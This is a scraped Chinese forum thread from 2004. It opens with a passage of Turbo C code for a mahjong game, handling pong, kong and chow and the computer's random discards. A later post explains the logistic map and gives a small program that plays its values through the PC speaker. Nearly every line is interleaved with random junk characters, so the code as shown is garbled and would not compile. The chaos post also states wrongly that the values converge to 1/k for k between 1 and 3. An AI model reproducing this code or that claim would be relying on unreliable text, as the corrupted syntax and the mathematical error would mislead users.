1 U. d0 s/ w6 t6 Xx1=180;+ {' |4 R6 ~: F2 S- {! u1 ^. b
y1=165;
( F( [! L8 I& T& O) P  V" P3 B( }fillRectangle(x1,y1,x1+20,y1+4,0);
8 g6 Q4 N7 V  G% r}
! l  L6 Z/ T3 V4 p9 G4 vif(every==9); X. u% k. `' H
{" D3 L, h/ j4 o7 r# [$ q( S& d3 |" [
x1=200;
' }9 F  j- @( P6 Hy1=165;
- {" q2 R5 K* F+ p& y5 t3 p- @fillRectangle(x1,y1,x1+20,y1+4,0);. T( l  ^$ Y, K9 o5 I
}
& r' b1 ?7 Y8 z# \2 I( d/ n% Rif(every==10)' j4 }( K6 Y4 i- e0 N1 U/ E
{
" K. C8 [& z3 ?; t! }% E' c% U5 _x1=220;
  j. c. f2 g& C9 ~1 ?: P+ Fy1=165;
2 |! ?% S* P  C3 K* H" ~- kfillRectangle(x1,y1,x1+20,y1+4,0);
  I$ |$ V* M; v2 R6 J  G}# L3 Y8 M5 I8 G/ L# c7 _* \
if(every==11)- _2 [2 G" T* B9 b$ E: d
{9 \' r  H% c( Y
x1=240;3 b  h# M2 k- M0 B  h2 Y1 o9 B
y1=165;$ a# R% w7 j* f- ]
fillRectangle(x1,y1,x1+20,y1+4,0);; s! {( u" J8 `( O
}9 t% A4 l1 y8 _, h( M" [4 Z: a
if(every==12)+ O9 ]7 b9 p, T/ l, V+ D/ P4 a% E% h
{
/ ~1 s4 X# |5 ?5 F3 q+ f7 m6 H1 b  j" Hx1=260;
1 ^  t6 s6 ^. g" L8 h1 \y1=165;
6 s8 J6 N$ f  }0 c" k3 v& q$ zfillRectangle(x1,y1,x1+20,y1+4,0);9 B$ c9 [) O$ k+ }( P' ^& K4 }
}
- B# k& D5 r9 G( P, i, K; N9 E6 l' S& d2 V2 F' l+ f* C
zz=0;
0 i6 e* D# C! B+ }6 N2 b( bevery++;
' n; R; B4 K( ]2 @: _z=z+20;
' H  A- q: b% x6 {0 W}
% p/ t7 ~! V- N7 ~9 F$ V- I9 Eshowbmp(every);
) u0 b& `2 A; @% s/ e- |key=keyy;
4 K' r* |( m' J9 D' `( ~( t) }if(keyy==ENTER)6 {. l# r  `4 R# a7 V7 e6 {" x/ x
{
+ Y0 M1 r. v! c4 M' T! G# hrgzn(every); /*********************/
: a" l2 h, c3 D0 ?0 S. _! b( gif(sing==1) /*如果可以乓,做相应的处理*// M& I) e$ b  f( Y2 _
{   }3 b1 l9 C6 ?( v0 \$ I3 e1 T
kkk=0;6 b3 w% c% L6 k
kkkk=0;5 H/ |, d9 f3 M) v- P% _
while(kkk&lt;=computer.m)
. j# G5 i! T0 l% L6 P6 _7 O4 R{
, d* |. V5 ^/ a$ p3 T  Zif(computer.pp[kkk].p!=1)
% p& F6 G# x; u9 a" O& S7 t0 B{
" I/ W, a, m2 d9 L6 gcomp.pp[kkkk].k=computer.pp[kkk].k;4 \: ?, i4 W% U) m  e
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;+ e) _- w# G: p% @
comp.pp[kkkk].number=computer.pp[kkk].number;5 j1 y: W9 D7 x6 _" Y
kkkk++;
5 |! e# i) t% v5 p! n9 \}0 N' m" w" K+ }3 _
else! L) T' {, A/ i5 b+ u
{+ u& R  _9 q8 l: i0 h/ [/ }
m[computer.pp[kkk].number].data1=1;
/ L5 ?& h1 e# _! @) `7 ddwei=computer.pp[kkk].number;: f! l6 t: K" k( u( s
computer.pp[kkk].p=0;4 I4 n: D+ a7 j% R) c: |4 X
}% W4 t' v. ~" {
kkk++;
1 Z, g1 k# U- G& M* d}! u8 _/ A& v/ u- O( O; X6 o- i2 v
ll=0;3 k$ g; n5 G- a8 m7 h

2 S) N( I4 n$ C* w: O0 q5 qwhile(ll&lt;3)
  Y  L1 A: J3 y{ zl=zl+20;0 X+ s/ L: b+ ~2 H3 M6 o2 Z7 U
bmpp(dwei); /*显示乓的牌*/0 {" }1 P+ s; M. m
ll++;! U: _2 p# f0 ^, e0 n
}0 N  `* H# X# H0 C
* }# w% R8 L6 X
zl=zl+9600-60;; u4 t4 o* ?* P) X: F# S
kkk=0;5 I! _/ ~5 ?" l# G/ t6 e
computer.m=computer.m-2;& S, [/ m# }: E, W5 e
while(kkk&lt;=computer.m). I# `* j+ ]! `  C
{
+ P' i4 q! L  Y# o. Q' B3 q( Ucomputer.pp[kkk].k=comp.pp[kkk].k;1 I4 i# c7 R" j6 o7 N- i& \7 T& `
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;/ p6 v# O0 y& o! f' V( t
computer.pp[kkk].number=comp.pp[kkk].number;
4 V+ \0 I4 k, I5 t8 H$ O# \7 Qkkk++;1 D3 R" T1 I" u! `; o
}
& l; H8 G! \& s3 i0 Dll=0;
5 M, E  n) L/ W- G- Itemp=random(computer.m); /*出牌等待完善*/' S, r5 Q4 s" m7 Y1 l8 x
zyy=zyy+9280+20;* m1 n; h8 k0 s: w
showcbmp(temp);
% b+ G1 S' \' d: D) c4 _( W: Mzyy=zyy-9280;: b4 X" h- B  m/ W
/*****/" r7 b* |' ~% I- X
rgznme(temp);
/ X/ a* ?, L! gpanduan();
' g% j. F( s; B* ^2 Pif(me.m==0)
4 a0 g1 J( z4 Q7 Bif(second==1 &amp;&amp; threes==0)3 E# y/ X6 }) H& y: q  N
printf("you win!");. M* i$ `3 S5 w2 t+ |) a: ^7 X( z
if(me.m==3)- [$ n; ^& J3 Z
if(second==1 &amp;&amp; threes==1); g( Q. p  e' ^% ]  l6 n. j9 m. \
printf("you win!");' ]$ l* A4 k" I  B+ W
if(me.m==6)
6 o6 ~9 }3 k8 v# Iif(second==1 &amp;&amp; threes==2)6 P3 Z/ [1 j) v
printf("you win!");
! p0 |' _3 n) b8 Jif(me.m==9)9 r5 w+ p5 _( e) u4 l2 M
if(second==1 &amp;&amp; threes==3)# h5 m4 q- Q# d
printf("you win!");+ P) h, _$ P  R- V
if(me.m==12)
9 f4 e9 Y1 X1 l. R8 C4 kif(second==1 &amp;&amp; threes==4)
' Y! h0 M& t, a+ t# H( B7 Oprintf("you win!");1 \2 Z; M% {  a7 v# s8 s

- H( U! @. T% K7 |0 t5 z, Okkk=0;  t$ C# S( t1 r; G
kkkk=0;: H! l5 |8 ~9 }* _6 j7 t
while(kkk&lt;=computer.m)
& D" a9 `/ G" F- R* G. w1 l: N. S{. Z' G+ y2 K- h  ?/ C4 g6 ?
if(kkk!=temp)
1 o: D; I2 v$ H3 S4 u; Y: |{& ~6 u  ?& d4 x6 y8 e+ `: z
comp.pp[kkkk].k=computer.pp[kkk].k;
1 t+ a1 c4 f! v$ \1 |0 d: Vcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;" F, W6 J, Q; h% w# c! x5 t6 |. I
comp.pp[kkkk].number=computer.pp[kkk].number;
& g; [& b- h9 y/ J" Xkkkk++;
& w) u! R  J2 H" R1 e( @}8 f  l) a8 R4 x; J& \* i
else- z5 ]$ @/ h1 q9 ?' f0 `2 @- E
m[computer.pp[kkk].number].data1=1;8 Q* @( Y$ k' m: k3 B. d8 J: f
kkk++;) N* a. ~# @0 a9 w2 |5 m
}
( }5 A# `0 V( G/ U: L7 ckkk=0;
( e, z& F6 l  N1 `computer.m=computer.m-1;: \* ?' F# H1 D
while(kkk&lt;=computer.m) / b9 {' u1 W; l: p8 O& v6 v% B
{7 Y; r0 A" h; ^- e3 a) z, K8 W
computer.pp[kkk].k=comp.pp[kkk].k;+ E7 w1 o3 N) }& d
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;, N: K: ^. q' r* P+ u' `# M
computer.pp[kkk].number=comp.pp[kkk].number;
* V' W& b6 d/ Okkk++;% A' g$ S' z* }2 N( w2 I. V
}! q% ^) l, w* P" a
fillRectangle(0,0,320,30,0);
- l  ~$ ^, }8 a' h) B1 n( F/ X% Kn=computer.m;
" H( q3 K) G3 A! b9 K4 k* e3 T; _ll=0;
2 g! \5 X/ G5 ~8 v; b8 Zzy=0;% P3 g8 E* `" A" ~, A% o7 b5 U! A
while(ll&lt;=n). o# c. F$ H. `5 C+ p
{+ f7 u/ g8 J$ i7 H! A# {
zy=zy+20;( w' Z8 ~0 x% t7 d: [+ r
showybmp(ll);
% @  a9 v# N. i0 k2 n: G1 w4 ell++;
: }+ Z! b( F; A$ \9 B( |3 F0 V. Z}
7 M# U% X5 F, y/ Y# x, Nll=0;$ m$ J( t3 }; S! L, K; M/ h  d  t6 z
getch();& d% Y. l. D* G, F" Z
sing=0;& t3 R3 S" [# Z& R
sing1=1;
! E5 d1 c: m7 R9 b}
( v' F. d8 {8 b. L( D4 y0 u$ F. f* G, v8 H0 F  _
if(sing==2) /*如果可以杠的做相应处理*/, T# Q$ b9 X; w% A
{" H; v3 O& s. ?2 t: ~) j" e3 D# x
kkk=0;# d* d$ f4 x) e; K5 T# A6 e
kkkk=0;' s7 F8 b5 E6 ^/ a- u- H
while(kkk&lt;=computer.m)" q* m8 S0 W  U
{. m- Z; {8 j: u0 C( C
if(computer.pp[kkk].g!=1)- t! r: X9 v. ]6 x6 [5 V" f# `
{- c) f1 z$ W& W# l# V
comp.pp[kkkk].k=computer.pp[kkk].k;# `3 n" s+ f7 n9 H% \/ |1 v! }
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
1 o: A2 e. u3 a8 b  Ccomp.pp[kkkk].number=computer.pp[kkk].number;
6 H% \3 x! }7 z3 P. fkkkk++;
1 ?3 N; e" d( o' f  t7 f7 t7 S' U}
7 |0 y/ a' p% b4 \+ Q% z; J  I  R+ Uelse  L; J1 E+ [. e7 s. x6 N
{1 [7 j- w. A$ L- L4 k& K
m[computer.pp[kkk].number].data1=1;, |, C  n+ }! l' ?
dweig=computer.pp[kkk].number;( X, u  e) D- O+ N; e
computer.pp[kkk].g=0;" B! Y% s3 W. \' v9 F! q: s
}
) v* K7 M- B# \  `' {0 pkkk++;+ K! S* q& U4 w+ X5 M, D9 R
}
# [9 X5 `4 e# C# \( Zll=0;" j+ b7 M4 Q9 F2 ?1 g  N

+ b* _- }4 y2 T5 Z' ]while(ll&lt;=3)2 C1 y/ O( w- C/ E
{ zl=zl+20;+ C0 S/ C( j% L7 }
bmpp(dweig); /*显示杠的牌*/
/ Q8 K) s# q- X  |: dll++;& r5 z# v$ A5 c
}
  L2 r# T6 s, b) I6 ^4 b& a3 I4 Rzl=zl+9600-60;4 J5 d! p7 r$ _8 f3 y
kkk=0;
5 N6 a$ |1 r: z. ?computer.m=computer.m-3;
& g! d: M: w) T1 J8 H- ~while(kkk&lt;=computer.m)
$ W% S1 d+ M7 B8 Z+ I, q* b7 D! ?{
( s; }7 ]3 N& U8 c0 D6 T2 k; b4 O5 `computer.pp[kkk].k=comp.pp[kkk].k;) b6 t8 m7 `' n% P! Q
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;0 \( t# Q; w& z3 {! M
computer.pp[kkk].number=comp.pp[kkk].number;
0 ]) x1 ]  w) A3 f9 P' pkkk++;
3 h, a( @. K  B9 h' Q. W}. a3 H( D) o& W4 Y+ C$ p/ l3 K( w
kk=0;
$ c- A- s( R, W8 dcomputer.m++; /*加一个牌的容量*/2 t! P- ?3 u' [5 b  b1 G" G
while(kk!=1); S. x+ D' h' w, J4 m5 M
{1 \7 i6 _+ x3 r1 b) U
temp=random(136); /*出牌*/" y) ^+ @: k2 I' R- i
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)0 V1 ?8 a' b7 |4 s0 |9 c
{/ F" \" _$ V* M# O$ j5 A, p% `3 i
computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
* p& `. p9 |6 Zcomputer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/5 h' K$ Z) i/ B2 h' N* k- o  Z. O
computer.pp[computer.m].number=temp; /*第几张,用来排序*/. Y$ V2 j1 f8 h; _8 e, Z
m[temp].data2=2; /*判断牌是谁的,2为电脑*/
' Q. U  u; v2 V4 B9 ckk=1;
/ Q% T; b7 W% a5 w- e}
9 D# R# Z' Z0 y& n( S}
' a1 ~8 \4 ?1 @comlipai();6 g) U/ W& N% U0 C8 A$ U  a* G
temp=random(computer.m); /*出牌,等待完善*/
) g' t" z3 g2 c- A" w$ Ozyy=zyy+9280+20;
; }$ s+ X- O* ]9 eshowcbmp(temp);. s/ v) I0 U1 T4 e% }4 {) E
zyy=zyy-9280;0 K. M1 w0 F% v6 G- P7 l  v4 {: W3 l; `
/*****/" @; O7 C# a0 \# z1 g- ]8 ^( K
rgznme(temp);* W  J* @, F$ L( }+ ?
panduan();
9 M8 G" B% e% \3 y, |if(me.m==0)
0 _/ m) P7 x. M: [if(second==1 &amp;&amp; threes==0)
4 {- K( \1 K8 c7 [9 r$ Kprintf("you win!");7 c0 v7 R! c9 \6 u
if(me.m==3)
: g, d8 B% C: L# G. B7 u% r% n: vif(second==1 &amp;&amp; threes==1)+ }( z, [1 a5 v! a: Q+ o
printf("you win!");! }7 l- A/ L! u9 b
if(me.m==6)
* u& Q- g3 _6 b" W( J; eif(second==1 &amp;&amp; threes==2)3 c- A" A- o3 ^* p4 ^% [
printf("you win!");
, f, K) H6 s! B) T( fif(me.m==9), j0 c; n5 f4 f3 g3 d% E) ?1 F
if(second==1 &amp;&amp; threes==3)- I' V! E3 {% ^/ z
printf("you win!");) \' y: r5 {  r, y% h3 t
if(me.m==12)
0 V3 a6 u6 X# `0 Dif(second==1 &amp;&amp; threes==4)% C/ A3 Z& Q9 G3 ^7 j+ y2 V; ~
printf("you win!");& R# }* @) G5 N2 u

$ @' R2 _: n+ Y2 z7 r& |+ Ikkk=0;# t% S7 E; `$ W* X( D* ^
kkkk=0;; C" f" t, G% d
while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/2 F8 g. J1 f. k
{4 M8 p& Q$ \3 R
if(kkk!=temp)( D% ^: T6 J9 d9 @
{
' H6 J4 g  z+ B( t# p. ccomp.pp[kkkk].k=computer.pp[kkk].k;: b/ d- K0 ]0 |* I
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
. ], v. e2 A) ^0 {9 r3 Scomp.pp[kkkk].number=computer.pp[kkk].number;3 Z; ^3 Y2 G/ W' q
kkkk++;& }: ~3 [! J$ _1 x
}
- |! O5 [2 V3 R5 ?$ ]7 Z4 kelse
2 T! E2 C. |) d- G& R+ nm[computer.pp[kkk].number].data1=1;
) o9 q9 B1 t. ^* s" ~) Rkkk++;( l' c2 Q4 L9 r8 V9 c
}; a6 X/ E* y# d& c8 k% c& y
kkk=0;
' B, [1 a3 P: [* ^  B1 S( lcomputer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
" P# _/ x. E6 _( Z- u, R0 |while(kkk&lt;=computer.m)
0 Z4 i) A% o9 w2 n* ]) y, R{
4 C/ e3 X2 D3 A* O+ t: g+ Qcomputer.pp[kkk].k=comp.pp[kkk].k;
! Z3 N$ d2 P, Hcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
4 p/ x' X% Q1 w+ Acomputer.pp[kkk].number=comp.pp[kkk].number;& [; S# N9 ?% `
kkk++;$ w* m6 ]' n6 O- `4 b9 Y+ j
}
' j, U  f$ e. s6 t% E4 D7 o: J3 B8 @* P% jfillRectangle(0,0,320,30,0);
; Z- ?4 i8 z0 U; e; E; `! O9 `ll=0;' b; q3 N' t" t" u$ j" n
zy=0;
7 x2 u2 x$ V% S1 r; \. nwhile(ll&lt;=computer.m)
- q- l- Z' A" e- A) B{
* @# w+ r+ o0 o: y" E. P% |; n. Yzy=zy+20;
6 H0 |) ?* ?# ashowybmp(ll);
  |% y% ?% i+ S! }0 Jll++;
# \- \  Z8 x8 Q" D}) i% T  D9 x, z2 T! o
sing=0;; }( O& e# d2 `+ H/ w# M
sing1=1;$ ?% M# n2 Q) F
}
! [+ T- |* p, t- S9 B# D" wif(sing==7) /*如果可以吃的,做相应处理*/; [# E3 {6 X7 p+ Y5 L, ^0 g( m
{ nn=0;' B8 s; P# Z( }3 D# }* d
kkk=0;
  Q/ j7 M! T; V( K7 _7 t5 ]' U" vkkkk=0;
' g1 ]2 G8 ?  Pwhile(kkk&lt;=computer.m)! M  c# l# o. F6 a( J/ W
{& X: s' B1 K+ h1 S) s
if(computer.pp[kkk].c!=1)% M- P6 \% W$ q: w6 ?9 v; E
{1 x/ L; v( q4 u# z# V
comp.pp[kkkk].k=computer.pp[kkk].k;4 L' A; j2 l! Q( l' I7 a& V4 V/ a
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
4 H2 s7 k" S, B! c: J* V2 lcomp.pp[kkkk].number=computer.pp[kkk].number;
' @( `. H8 ~3 V" D& Okkkk++;
  G6 Z/ g7 L5 g/ F' M1 [0 q4 Z: K}
9 r5 @3 V9 g, r+ O$ Yelse( ]; u: Y0 W% ^7 R, r
{, `+ M. u" X" O8 e! e
m[computer.pp[kkk].number].data1=1;
: K5 A1 J8 v: o) @  mdw[nn++]=computer.pp[kkk].number;
. W3 ~4 W( w% Ycomputer.pp[kkk].c=0;% f5 Z- T" @: {8 C/ K  X9 [3 r3 O
}" i2 o7 |# s& h7 W$ A
kkk++;
8 G9 ?) o( e( C- o: ]}# l* B! }8 V- F# x" |
3 W- ~4 c8 p4 B
if(me.pp[every].number&lt;dw[0])
5 G' b2 B9 ]8 _! S4 I/ l{
% k' ?) G( R  a# |  mdw[2]=dw[1];
) v  `' s- c1 L" O: ndw[1]=dw[0];/ c2 `# W$ [; K& Q) ]. J2 N
dw[0]=me.pp[every].number;
+ @* m% q1 v! w( @% X}
6 v2 y: Z. v1 e* \$ Tif(me.pp[every].number&gt;dw[1])
( i1 Z0 C9 ]4 z$ W0 k6 U{$ {( n' Z% ~( s4 L/ y, D% c; r
dw[2]=me.pp[every].number;
+ }' S" Q0 F8 c& J! m6 b9 m}! O6 k! t0 g( \
if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])# C6 n5 t3 B3 w3 `' R0 N
{
) K* x8 l3 G# i' {( f, w! P! Fdw[2]=dw[1];
. E0 {8 g' J# X/ [9 e% B8 m" s" M/ Gdw[1]=me.pp[every].number;/ M" j1 h# ^, D6 @5 o
}
4 Q' Z7 ^# ]9 b$ dnn=0;  `! z) e" {) K) e' f: H- R
while(nn&lt;3); M# _' E  R' ]  U# Z) S
{ zl=zl+20;; B* L9 {& X0 n- P: U# Z
bmpp(dw[nn]); /*显示吃的牌*/: [$ K# }, A! O' ?& y
nn++;! }" W- J, ?; ]0 T. G
}0 G6 {& @1 N3 R" s
zl=zl+9600-60;/ l# d- T% G* i2 i  C7 C
kkk=0;$ p: Y3 a% E+ r2 O. K0 s* {. _9 G
computer.m=computer.m-2;
6 f  ~; I, p9 ^while(kkk&lt;=computer.m)
$ ^" S0 O5 n# e{* F6 A: N6 Y7 Y1 ?
computer.pp[kkk].k=comp.pp[kkk].k;5 r0 i/ v5 r, }; z& u
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;3 v, C1 S% P) Z' Q4 Z! d6 F
computer.pp[kkk].number=comp.pp[kkk].number;, J$ [% x) m7 H0 q
kkk++;
$ R5 d1 V- e/ f& W9 }( b: @7 P}
# R% t+ |. ~: ~1 C/ Tll=0;* o5 r% s. h8 L5 ~5 K+ ]
temp=random(computer.m); /*出牌等待完善*/
. n* t" V, `3 M$ Wzyy=zyy+9280+20;
  u5 Q5 M! ^3 }3 T8 E8 F/ Ishowcbmp(temp);
/ \4 h0 N9 |- r4 n1 i) y: ^zyy=zyy-9280;% B+ Y  D6 M# |
/*****/. o5 ]1 ^  a. g" u0 l
rgznme(temp);9 Q8 y8 s7 M+ M3 u# O. q6 x: N. ~; w( \
panduan();. ~% ^& y/ u- ~6 m
if(me.m==0)
4 {  O" L, \3 H8 @  qif(second==1 &amp;&amp; threes==0)6 ^! P4 f# l# W, L# A
printf("you win!");  |0 w! J5 {! x
if(me.m==3)
1 M  Z' B, B! l5 J9 vif(second==1 &amp;&amp; threes==1)
( m+ H0 O9 h6 J( f, l" o4 {3 Nprintf("you win!");" H# ?* _% `+ X$ Z8 b) p# b4 B- D
if(me.m==6)
% {7 z! ~! `  l0 sif(second==1 &amp;&amp; threes==2); H+ G1 x8 X) \) g# R
printf("you win!");- p0 _1 \5 T; P/ s
if(me.m==9)) K. C1 J, `6 ?9 R# w
if(second==1 &amp;&amp; threes==3)+ j) i, `( Y$ {; a
printf("you win!");
; m) z' v, h2 y8 n: Hif(me.m==12)
+ e# Y& ^* r) `( Gif(second==1 &amp;&amp; threes==4)
; W2 k2 |5 V# h% Eprintf("you win!");/ a% U) g+ F) K
' f0 n; j3 ^+ F: H# E* r! Y" d
kkk=0;
. \1 B* q) M' j4 F+ y4 h6 S% skkkk=0;1 k, E; C4 v) X0 ?& H
while(kkk&lt;=computer.m)  v0 ^1 f& W( ^( I$ I
{
9 M! M0 Q7 y5 fif(kkk!=temp)
5 N" t6 Q1 X' R{& O9 U: G8 m: D  S
comp.pp[kkkk].k=computer.pp[kkk].k;& S: B% @8 x! P
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;, J/ T7 r1 I1 Y3 w# n
comp.pp[kkkk].number=computer.pp[kkk].number;
6 \( r, @. M. Z0 N0 {kkkk++;
- Y# h1 k8 D7 p' n! `& F% _& z}6 Q- P' }) u2 _
else5 k+ c  Y4 i" o8 t. L8 j
m[computer.pp[kkk].number].data1=1;
8 e  V9 t/ l' S, h' Z- w8 a8 mkkk++;
" K8 I( O, F# j* \2 M& B" f: [}
' _- ~! I% |0 t6 hkkk=0;; \, H, h  \) z  H
computer.m=computer.m-1;0 r% I& N$ y2 f4 Y3 H* j
while(kkk&lt;=computer.m) 5 c( x& k5 z) f0 n
{
$ N* T9 {2 N# _3 F6 J1 e2 Qcomputer.pp[kkk].k=comp.pp[kkk].k;4 m) Y& a( W$ V- d
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
2 e! ]/ [/ |- Acomputer.pp[kkk].number=comp.pp[kkk].number;8 B6 `; ]; ~4 F% G" e+ Y4 M
kkk++;
7 W8 l' _. y7 A; ^0 I# ~+ T}
- c& d: @) M. z$ m- GfillRectangle(0,0,320,30,0);  v& p- I, Q) X( A$ _/ C# S
n=computer.m;& N, z3 w- n3 X
ll=0;5 ^4 m& m" r1 y
zy=0;- `; c0 n0 G& N# {
while(ll&lt;=n). J) L/ W% x; m4 N4 g) h2 D
{. l0 C7 q3 c$ y% _9 J6 A
zy=zy+20;  R0 D7 G5 F" X2 ]6 O# C1 ~
showybmp(ll);2 h: ]; I) C$ s1 s- |
ll++;
+ h7 E; G* i7 e% `7 A}; ~; M. Y' H0 U# S/ Y2 Q/ D

+ |9 _- P: O" R) x8 g9 t. }. T' Hgetch();
! q% _2 i( x. S( @3 Y. [sing=0;
2 a1 _: a( `. ?" Z3 e  X% wsing1=1;
- h$ i8 J  {* x0 V0 R$ r% S5 g}. q1 m2 c$ S2 a" s5 ^' e; v) c
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
) q; j  k6 W* l! |. _. F6 a" t{4 G, [* z+ B% O" \4 {/ ]
kk=0;# Y- l$ Z4 U) N0 X( H0 X8 w
h=me.pp[every].number;3 z  f  i; R, @% j# J' ]/ u
m[h].data1=1; /*此牌已经无用*/
9 @$ T: K5 [1 Uif(sing1!=1)
" d% J# ~- T# y: a2 K4 p0 M{
1 C5 B+ J# K/ B8 S1 yzyy=zyy+9280+20;
9 y& j' i; {! rshowbmpd(every);1 w/ X. I, s0 i& a
zyy=zyy-9280;
/ t, t$ H7 h4 S  v# }# W* z}
) G: p  N' G+ w, J& o% {! ]2 ~while(kk!=1)4 ?6 A9 ?3 V9 l: H" W: h1 i
{
- Q7 E3 i% L+ ?5 ^3 N% Vtemp=random(136);
! @3 X( P& {8 m( z/ B, Bif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
% F. ^4 L6 g0 q# X5 f+ B0 B{
1 B5 n4 p# q; l: `' w2 s! P; Mme.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/1 c1 i' T, u5 z# ?# i
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
5 t2 d* j) k  o, i- t5 f% wme.pp[every].number=temp; /*第几张,用来排序*/
% V9 W2 F. X  C: mm[temp].data2=1; /*判断牌是谁的*/
2 o2 A5 ?0 y# M9 O9 skk=1;
8 `* p0 Z$ U( ~) a; g( i+ k4 s$ B}
, h/ s+ D2 S6 P0 K6 \! o4 r7 E* Gif(kk==0) /*判断如果又选择了,就从新再选*/8 p3 o: u7 ~5 F; E: F
kk=0;
% b2 o2 W' c4 g4 r1 j4 s: O$ e}& \. t6 ^) \9 h3 L0 j' _! o! w
}
5 D, f* h; V( rsing=0;
9 x# m- {. {/ [: F3 k* `+ b( ising1=0;
$ q9 t8 v% P$ Y1 k: z5 H5 ^melipai();
5 w  h, G0 g8 i- r5 Sn=13;
9 f: w& h  \: L/ \z1=54400;# V# d7 B. m9 l; `: b1 T: c6 O  |
l=0;
1 A1 N8 c4 @' s& R, B* s2 dg=z;
6 h* q: E% Y- D/ c: pwhile(l&lt;n), J/ _* J+ H$ l8 a. K8 w
{ z=0;# l+ v, l2 G& [/ |+ j/ `: U
z1=z1+20;
0 ^1 d# H, e6 w* ushowbmp(l);8 j0 j4 c8 P7 s7 F
l++;0 Q0 t  P: `" p2 s4 y
}5 }. i2 D2 Q( G2 ^4 e
z1=0;
6 `1 R  t( R8 p2 c0 z3 Gz=g;! `; ^3 g  F, e
}
7 `4 @  d4 j/ D3 D! Fkeyy=0;% m) G1 w/ u8 j4 Z
}
+ ^" \. f3 g7 D. R0 `
, X! q! c( v/ Y3 @getch();, ?, O7 s+ h) H0 ?/ q2 Z
OUTVGA;
: ~7 y) S6 Q. l9 R4 U}
4 ]8 u1 c" r  {% |3 q* i& R</P></DIV>
作者: 韩冰    时间: 2004-10-4 02:38
<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])' c1 y/ y: F. ?( q- Q" b
</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:
. b- w7 e- d6 H8 h; {
  O4 g2 o! W; u8 y7 C  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。
0 g, C& N$ r* V  <FONT color=#009900>#include <DOS.H>  q4 X7 Q' e) Y/ R1 o( I2 e
  #include <STDIO.H>
0 p0 _0 W, D9 c* R- A- ^4 X9 P: V  main(){7 `+ w  T6 }$ ~$ x
  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/
4 C4 b/ x% S; Q4 `1 b* x6 m8 h  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/% B9 T+ e- X2 Y& I( d! L- t( I" `  {
  /*i,j用于循环记数*/
2 n2 F9 I; R9 o+ _8 W  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/" d. S4 }5 V8 |
  fDis=fMax-fMin;
4 [9 A: o: Z: J) g8 a5 r  for(j=1;;j++){
  L1 ~' Y, T, ?: G  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/
: P2 t& C. n6 O* d7 {  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/9 ]- V7 g# E. i/ x. S
  scanf("%f",&k);
0 @, }8 S& e! h# B  if (k==0) break;5 r8 }1 B9 V5 v" i# J
  for(i=1;i&lt;100;i++) /*去除开始的100个点*/
* f; c( H% X  p' c% k3 ]" I/ Z  x=k*x*(1-x);
+ ^: `; ]5 j2 n1 c0 Z  for (i=1;i&lt;100;i++){$ {0 T# }) l4 u/ O5 _
  x=k*x*(1-x); /*计算x的值*/0 A, @6 q8 F, c% k: ]* I
  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/
: ~. P. w( G* a1 H" Q4 J+ P; J7 G7 i  delay(1000); }
! B7 }& U+ a& C. f6 T. Q- E  nosound(); }}
4 D* `5 ^$ L! G: `  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。3 P2 H" p: `+ ^" @0 t  I2 R
不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
作者: 韩冰    时间: 2004-10-4 02:39
<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
